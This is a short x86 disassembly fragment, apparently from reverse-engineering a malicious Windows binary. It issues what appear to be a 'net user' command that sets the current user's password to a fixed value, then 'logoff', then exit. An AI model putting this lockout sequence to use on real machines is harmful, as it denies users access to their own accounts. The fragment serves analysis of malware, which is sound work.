jb 0x473ee0
lea eax, [ebp - 0x4e7]
mov byte [ebp - 0x4c3], 0
push eax
call esi
add esp, 4
push str.net_user__username__05a69d
call esi
add esp, 4
push str.logoff
call esi
add esp, 4
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3